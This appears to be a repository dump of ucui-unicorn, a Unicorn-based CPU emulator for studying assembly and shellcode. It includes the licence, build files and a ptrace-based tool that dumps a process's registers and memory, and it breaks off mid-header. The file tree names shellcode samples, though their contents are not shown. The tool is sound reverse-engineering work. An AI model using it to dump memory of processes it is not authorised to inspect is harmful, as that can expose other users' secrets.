├── .gitignore ├── .gitmodules ├── COMPILE.TXT ├── COPYING ├── Makefile ├── README.md ├── build └── .keep ├── extras ├── Makefile └── ucui_procdump.c ├── images └── ucui_screenshot1.png ├── include ├── commands.h ├── init.h ├── memory_map.h ├── syscall.h ├── syscall_linux.h ├── ucui.h └── ucui_readline.h ├── samples ├── arm │ ├── arm_write_exit │ │ ├── Makefile │ │ ├── arm_write_exit.s │ │ └── build_arm.rb │ └── memory │ │ ├── Makefile │ │ ├── code.mem │ │ ├── memory.map │ │ ├── registers │ │ └── stack.mem ├── x64 │ ├── memory │ │ ├── Makefile │ │ ├── code.mem │ │ ├── memory.map │ │ ├── registers │ │ └── stack.mem │ └── x64_write_exit │ │ ├── Makefile │ │ └── write_exit.asm └── x86 │ ├── memory_mapped │ ├── Makefile │ ├── memory_map │ ├── registers │ ├── stack.mem │ ├── write_exit.mem │ └── x.asm │ ├── rep_instructions │ ├── Makefile │ └── rep_ins.asm │ ├── shellcodes │ ├── anti_debug_binsh.c │ ├── anti_debug_binsh.sc │ ├── cd_open_close.c │ ├── cd_open_close.sc │ ├── execve_rot7.c │ ├── execve_rot7.sc │ ├── shellcode-234.c │ ├── shellcode-234.sc │ ├── shellcode2.c │ └── shellcode2.sc │ └── x86_write_exit │ ├── Makefile │ └── write_exit.asm └── src ├── Makefile ├── capstone.c ├── command_parser.c ├── commands.c ├── hexdump.c ├── init_from_file.c ├── main.c ├── memory_map.c ├── readfile.c ├── readline.c ├── syscall.c ├── syscall_linux.c ├── unicorn_arm.c ├── unicorn_x64.c ├── unicorn_x86.c └── utils.c /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | *.swp 3 | build/* 4 | src/*.o 5 | a.out 6 | dev/* 7 | src/tags 8 | samples/* 9 | core 10 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "unicorn"] 2 | path = unicorn 3 | url = https://github.com/unicorn-engine/unicorn.git 4 | [submodule "capstone"] 5 | path = capstone 6 | url = https://github.com/aquynh/capstone.git 7 | -------------------------------------------------------------------------------- /COMPILE.TXT: -------------------------------------------------------------------------------- 1 | Install capstone and unicorn-engine (unless it's installed): 2 | $ make capstone unicorn 3 | $ sudo make capstone_install unicorn_install 4 | 5 | Build and install ucui 6 | $ make 7 | $ sudo make install 8 | 9 | 10 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: ucui 3 | 4 | ucui: 5 | cd src; make 6 | 7 | capstone: submodules FORCE 8 | cd capstone; ./make.sh 9 | 10 | capstone_install: 11 | cd capstone; make install 12 | 13 | unicorn: submodules FORCE 14 | cd unicorn; ./make.sh 15 | 16 | unicorn_install: 17 | cd unicorn; make install 18 | 19 | install: 20 | cp build/ucui /usr/local/bin 21 | 22 | clean: FORCE 23 | cd src; make clean 24 | 25 | uninstall: 26 | rm -f /usr/local/bin/ucui 27 | 28 | submodules: 29 | git submodule init 30 | git submodule update 31 | 32 | FORCE: 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ucui-unicorn 2 | 3 | ucui is a simple cpu emulator to help with learning assembly and shellcodes. 4 | It has partial support for linux syscall decoding. 5 | 6 | ![Sample screenshot](https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/master/images/ucui_screenshot1.png) 7 | 8 | 9 |
10 | Start with:
11 |   $ ucui shellcode_file
12 |   $ ucui -a ARM arm_shellcode_file
13 |   $ ucui -m 64 x86_64_shellcode_file
14 | 
15 | Or checkout the examples within samples/
16 | 
17 | Commands:
18 |   ?   - Show help in the ui.
19 |   D   - Re-disassemble code. when you have a polymorpic code this is handy.
20 |         Test with: ucui -b 0x00400048 -R samples/x86/shellcodes/execve_rot7.sc
21 | 
22 | 
23 | -------------------------------------------------------------------------------- /build/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/build/.keep -------------------------------------------------------------------------------- /extras/Makefile: -------------------------------------------------------------------------------- 1 | 2 | ucui_procdump: ucui_procdump.c 3 | gcc -Wall -o ../build/ucui_procdump ucui_procdump.c 4 | -------------------------------------------------------------------------------- /extras/ucui_procdump.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | 19 | #define check(B, M) if (!(B)) {M;} 20 | #define MIN(a,b) ({ typeof (a) _a = (a); typeof (b) _b = (b); _a < _b ? _a : _b; }) 21 | 22 | struct map_entry { 23 | unsigned long start; 24 | size_t size; 25 | char desc[256]; 26 | char flgs[4]; 27 | }; 28 | 29 | struct map_entry ** read_maps(char *mapfile) 30 | { 31 | FILE *f; 32 | struct map_entry **eset, *e; 33 | int r; 34 | char flgs[5], dev[6]; 35 | char *desc, *l; 36 | char line[256]; 37 | unsigned long start, end, offset, inode; 38 | size_t max_entries = 100, i; 39 | 40 | f = fopen(mapfile, "r"); 41 | check(f != NULL, err(1, "fopen: %s", mapfile)); 42 | eset = calloc(max_entries, sizeof(struct map_entry*)); 43 | 44 | i = 0; 45 | l = fgets(line, 255, f); 46 | check(l != NULL, err(1, "fread: %s", mapfile)); 47 | do { 48 | r = sscanf(line, "%lx-%lx %s %lx %s %lx %ms", &start, &end, flgs, &offset, dev, &inode, &desc); 49 | if (r >= 6 && i < max_entries) { 50 | e = malloc(sizeof(struct map_entry)); 51 | e->start = start; 52 | e->size = end - e->start; 53 | strncpy(e->flgs, flgs, 3); 54 | if (r >= 7) 55 | strncpy(e->desc, desc, 255); 56 | eset[i] = e; 57 | i++; 58 | } 59 | free(desc); 60 | } while(fgets(line, 255, f)); 61 | 62 | if (i == 0) { 63 | free(eset); 64 | eset = NULL; 65 | } 66 | 67 | fclose(f); 68 | return(eset); 69 | } 70 | 71 | void map2ucui_memmap(char *outfile, struct map_entry **eset) 72 | { 73 | struct map_entry *e; 74 | FILE *f; 75 | 76 | f = fopen(outfile, "w"); 77 | check(f != NULL, err(1, "fopen: %s", outfile)); 78 | while((e = *eset++)) { 79 | #ifdef __x86_64__ 80 | fprintf(f, "0x%016lx\t%s\tfile_%016lx\t\t# size: %-9ld %s\n", e->start, e->flgs, e->start, (long int) e->size, e->desc); 81 | #elif __i386__ 82 | fprintf(f, "0x%08lx\t%s\tfile_%08lx\t\t# size: %-9ld %s\n", e->start, e->flgs, e->start, (long int) e->size, e->desc); 83 | #endif 84 | } 85 | fclose(f); 86 | } 87 | 88 | void regs2ucui_regs(char *outfile, pid_t pid, int detach) 89 | { 90 | struct user_regs_struct regs; 91 | long ret; 92 | int w; 93 | FILE *f; 94 | 95 | f = fopen(outfile, "w"); 96 | check(f != NULL, err(1, "fopen: %s", outfile)); 97 | 98 | ret = ptrace(PTRACE_ATTACH, pid, NULL, NULL); 99 | check(ret != -1, err(1, "PTRACE_ATTACH pid: %d", pid)); 100 | wait(&w); 101 | if (!WIFSTOPPED(w)) { 102 | ret = ptrace(PTRACE_DETACH, pid, NULL, w); 103 | errx(1, "PTRACE: %d got another signal while we where waiting!\n", pid); 104 | } 105 | 106 | ret = ptrace(PTRACE_GETREGS, pid, NULL, ®s); 107 | check(ret == 0, err(1, "PTRACE_GETREGS")); 108 | #ifdef __x86_64__ 109 | fprintf(f, "rax: 0x%016llx\t# orig_rax: 0x%016llx\n", regs.rax, regs.orig_rax); 110 | fprintf(f, "rbx: 0x%016llx\n", regs.rbx); 111 | fprintf(f, "rcx: 0x%016llx\n", regs.rcx); 112 | fprintf(f, "rdx: 0x%016llx\n", regs.rdx); 113 | fprintf(f, "rsi: 0x%016llx\n", regs.rsi); 114 | fprintf(f, "rdi: 0x%016llx\n", regs.rdi); 115 | fprintf(f, "rip: 0x%016llx\n", regs.rip); 116 | fprintf(f, "rbp: 0x%016llx\n", regs.rbp); 117 | fprintf(f, "rsp: 0x%016llx\n", regs.rsp); 118 | fprintf(f, "r8: 0x%016llx\n", regs.r8); 119 | fprintf(f, "r9: 0x%016llx\n", regs.r9); 120 | fprintf(f, "r10: 0x%016llx\n", regs.r10); 121 | fprintf(f, "r11: 0x%016llx\n", regs.r11); 122 | fprintf(f, "r12: 0x%016llx\n", regs.r12); 123 | fprintf(f, "r13: 0x%016llx\n", regs.r13); 124 | fprintf(f, "r14: 0x%016llx\n", regs.r14); 125 | fprintf(f, "r15: 0x%016llx\n", regs.r15); 126 | fprintf(f, "ss: 0x%04llx\n", regs.ss); 127 | fprintf(f, "cs: 0x%04llx\n", regs.cs); 128 | fprintf(f, "ds: 0x%04llx\n", regs.ds); 129 | fprintf(f, "es: 0x%04llx\n", regs.es); 130 | fprintf(f, "fs: 0x%04llx\t\t# fs_base: 0x%04llx\n", regs.fs, regs.fs_base); 131 | fprintf(f, "gs: 0x%04llx\t\t# gs_base: 0x%04llx\n", regs.gs, regs.gs_base); 132 | fprintf(f, "eflags: 0x%08llx\n", regs.eflags); 133 | #elif __i386__ 134 | fprintf(f, "eax: 0x%08lx\t# orig_eax: 0x%08lx\n", regs.eax, regs.orig_eax); 135 | fprintf(f, "ebx: 0x%08lx\n", regs.ebx); 136 | fprintf(f, "ecx: 0x%08lx\n", regs.ecx); 137 | fprintf(f, "edx: 0x%08lx\n", regs.edx); 138 | fprintf(f, "esi: 0x%08lx\n", regs.esi); 139 | fprintf(f, "edi: 0x%08lx\n", regs.edi); 140 | fprintf(f, "eip: 0x%08lx\n", regs.eip); 141 | fprintf(f, "ebp: 0x%08lx\n", regs.ebp); 142 | fprintf(f, "esp: 0x%08lx\n", regs.esp); 143 | fprintf(f, "ss: 0x%04lx\n", regs.xss); 144 | fprintf(f, "cs: 0x%04lx\n", regs.xcs); 145 | fprintf(f, "ds: 0x%04lx\n", regs.xds); 146 | fprintf(f, "es: 0x%04lx\n", regs.xes); 147 | fprintf(f, "fs: 0x%04lx\n", regs.xfs); 148 | fprintf(f, "gs: 0x%04lx\n", regs.xgs); 149 | fprintf(f, "eflags: 0x%08lx\n", regs.eflags); 150 | #endif 151 | 152 | fclose(f); 153 | if (detach) { 154 | ret = ptrace(PTRACE_DETACH, pid, NULL, SIGCONT); 155 | check(ret != -1, err(1, "PTRACE_DETACH")); 156 | } 157 | } 158 | 159 | void dump_procmem(struct map_entry **eset, pid_t pid, char *basedir) 160 | { 161 | struct map_entry *e; 162 | char buf[255]; 163 | void *rbuf; 164 | size_t r; 165 | off_t readlen, pos; 166 | int map, outf; 167 | 168 | snprintf(buf, sizeof(buf), "/proc/%d/mem", pid); 169 | map = open(buf, O_RDONLY); 170 | check(map != -1, err(1, "open %s", buf)); 171 | 172 | rbuf = malloc(4096); 173 | check(rbuf != 0, err(1, "malloc")); 174 | 175 | while((e = *eset++)) { 176 | check(lseek(map, e->start, SEEK_SET) != -1, err(1, "dump_procmem seek(0x%lx)", e->start)); 177 | 178 | #ifdef __x86_64__ 179 | snprintf(buf, sizeof(buf), "%s/file_%016lx", basedir, e->start); 180 | #elif __i386__ 181 | snprintf(buf, sizeof(buf), "%s/file_%08lx", basedir, e->start); 182 | #endif 183 | 184 | printf("creating raw memory file \"%s\"\n", buf); 185 | outf = open(buf, O_CREAT|O_WRONLY, S_IRUSR|S_IWUSR); 186 | check(outf != -1, err(1, "open %s", buf)); 187 | 188 | pos = e->start; 189 | check(e->size >= 4096, err(1, "to small memory:(0x%lx) %s", (long int) e->size, buf)); 190 | readlen = 4096; 191 | while((r = read(map, rbuf, readlen)) != -1) { 192 | if (r == 0) break; 193 | check(write(outf, rbuf, r) != -1, err(1, "write %s", buf)); 194 | pos += r; 195 | readlen = MIN(readlen, (e->start + e->size) - pos); 196 | } 197 | 198 | close(outf); 199 | } 200 | close(map); 201 | free(rbuf); 202 | } 203 | 204 | int main(int argc, char **argv) 205 | { 206 | struct map_entry **eset; 207 | char buf[255], proc_map[20], basedir[10]; 208 | char *ucui_memfile = "memory.map"; 209 | char *ucui_regfile = "registers"; 210 | pid_t pid; 211 | int ret; 212 | struct stat st; 213 | 214 | if (argc != 2) { 215 | printf("Usage: ucui_procdump \n"); 216 | exit(1); 217 | } 218 | 219 | pid = (pid_t) strtoul(argv[1], NULL, 10); 220 | check(pid != 0, errx(1, "invalid pid!")); 221 | 222 | snprintf(proc_map, 20, "/proc/%d/maps", (int)pid); 223 | ret = stat(proc_map, &st); 224 | check(ret == 0, err(1, "stat: %s", proc_map)); 225 | snprintf(basedir, 10, "%d", (int)pid); 226 | ret = mkdir(basedir, S_IRWXU); 227 | check(ret == 0, err(1, "mkdir %s", basedir)); 228 | 229 | snprintf(buf, 255, "%s/%s", basedir, ucui_regfile); 230 | printf("creating ucui registers \"%s\"...\n", buf); 231 | regs2ucui_regs(buf, pid, 0); 232 | 233 | snprintf(buf, 255, "%s/%s", basedir, ucui_memfile); 234 | printf("creating ucui memory map \"%s\"...\n", buf); 235 | eset = read_maps(proc_map); 236 | map2ucui_memmap(buf, eset); 237 | 238 | dump_procmem(eset, pid, basedir); 239 | 240 | ret = ptrace(PTRACE_DETACH, pid, NULL, SIGCONT); 241 | check(ret != -1, err(1, "PTRACE_DETACH")); 242 | return(0); 243 | } 244 | -------------------------------------------------------------------------------- /images/ucui_screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eahlstrom/ucui-unicorn/146bf56d4e8c310a550cd5f3c1fff52301739238/images/ucui_screenshot1.png -------------------------------------------------------------------------------- /include/commands.h: -------------------------------------------------------------------------------- 1 | #ifndef __commands_h 2 | #define __commands_h 3 | 4 | #define MAX_CMD 255 5 | 6 | typedef enum _command_state { 7 | MORE_COMMANDS, 8 | DONE_PROCESSING, 9 | } command_state; 10 | 11 | typedef command_state (*CmdHandler)(uc_engine *uc, uint64_t ip, char *args); 12 | 13 | typedef struct _sCommand { 14 | char *name; 15 | CmdHandler handler; 16 | char *desc; 17 | struct _sCommand *next; 18 | } Command; 19 | 20 | Command *cmds; 21 | 22 | command_state runcmd(uc_engine *uc, uint64_t ip, char *command); 23 | Command *create_command(char *name, CmdHandler handler, char *desc); 24 | void add_command(Command *root, Command *addcmd); 25 | Command *init_commands(void); 26 | 27 | // utilities 28 | void hexdump_uint8(uint8_t *code, unsigned int len, uint64_t baseaddress); 29 | void hexdump_uint16(uint8_t *code, unsigned int len, uint64_t baseaddress); 30 | void hexdump_uint32(uint8_t *code, unsigned int len, uint64_t baseaddress); 31 | void hexdump_uint64(uint8_t *code, unsigned int len, uint64_t baseaddress); 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /include/init.h: -------------------------------------------------------------------------------- 1 | #ifndef __init_h 2 | # define __init_h 3 | 4 | struct memory_map * init_memory_map(char *map_file); 5 | void * init_registers_from_file(char *file); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /include/memory_map.h: -------------------------------------------------------------------------------- 1 | #ifndef __memory_map_h 2 | # define __memory_map_h 3 | 4 | struct memory_map { 5 | struct readfile *rf; 6 | uint64_t baseaddr; 7 | size_t len; // 1MByte seems to be smallest possible value. 8 | uint8_t prot; 9 | struct memory_map *next; 10 | }; 11 | 12 | void print_memory_map(struct memory_map *m); 13 | struct memory_map * mmap_for_address(uint64_t address); 14 | void map_and_write_memory(uc_engine *uc, struct memory_map *mmap); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /include/syscall.h: -------------------------------------------------------------------------------- 1 | #ifndef _syscall_h 2 | #define _syscall_h 3 | 4 | #include "syscall_linux.h" 5 | 6 | // Helpers for printing syscall arguments 7 | uint64_t uc_mem_read_uint64_t(uc_engine *uc, uint64_t uc_addr); 8 | uint32_t uc_mem_read_uint32_t(uc_engine *uc, uint64_t uc_addr); 9 | char * uc_mem_read_string(uc_engine *uc, uint64_t uc_addr, size_t maxlen, bool c_string); 10 | char * const_char_array_string(uc_engine *uc, void *saddr); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /include/syscall_linux.h: -------------------------------------------------------------------------------- 1 | #ifndef _syscall_linux_h 2 | #define _syscall_linux_h 3 | 4 | // generic linux syscall list used by linux_syscall_printw 5 | enum linux_syscall { 6 | SYS_EXIT = 1000, 7 | SYS_READ, 8 | SYS_OPEN, 9 | SYS_WRITE, 10 